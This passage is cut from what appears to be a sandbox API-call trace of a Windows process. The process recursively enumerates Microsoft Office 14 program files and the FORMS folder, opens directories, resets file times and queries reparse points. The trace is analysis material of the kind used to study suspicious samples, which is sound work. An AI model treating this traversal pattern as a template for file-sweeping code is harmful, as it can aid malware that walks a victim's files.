dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1 [0078.327] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0078.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" (normalized: "c:\\program files\\microsoft office\\office14\\forms"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" (normalized: "c:\\program files\\microsoft office\\office14\\forms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0078.327] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb390 [0078.327] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb390, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb390, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb390) returned 1 [0078.328] NtClose (Handle=0x174) returned 0x0 [0078.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0078.328] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.328] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.328] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0078.328] GetLastError () returned 0x12 [0078.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.328] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.328] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.328] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.329] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0078.329] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb390 [0078.330] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb390, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb390, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb390) returned 1 [0078.330] NtClose (Handle=0x174) returned 0x0 [0078.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.330] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0078.357] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.379] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0078.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab55c8 [0078.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5700 [0078.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.380] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITS.ICO", cAlternateFileName="")) returned 1 [0078.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab55e8 [0078.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b55f8 [0078.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.381] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITY.CFG", cAlternateFileName="")) returned 1 [0078.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5608 [0078.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5808 [0078.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.382] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPT.CFG", cAlternateFileName="")) returned 1 [0078.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5628 [0078.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.382] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTL.ICO", cAlternateFileName="")) returned 1 [0078.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5648 [0078.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9338 [0078.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTS.ICO", cAlternateFileName="")) returned 1 [0078.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5668 [0078.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab93c0 [0078.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.CFG", cAlternateFileName="")) returned 1 [0078.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5688 [0078.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5a18 [0078.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8ed400, ftCreationTime.dwHighDateTime=0x1c68837, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec8ed400, ftLastWriteTime.dwHighDateTime=0x1c68837, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.ICO", cAlternateFileName="")) returned 1 [0078.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab56a8 [0078.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5910 [0078.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFRES.CFG", cAlternateFileName="")) returned 1 [0078.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab56c8 [0078.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b5c28 [0078.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.386] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONFLICT.ICO", cAlternateFileName="")) returned 1 [0078.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.386] RtlAllocateHeap 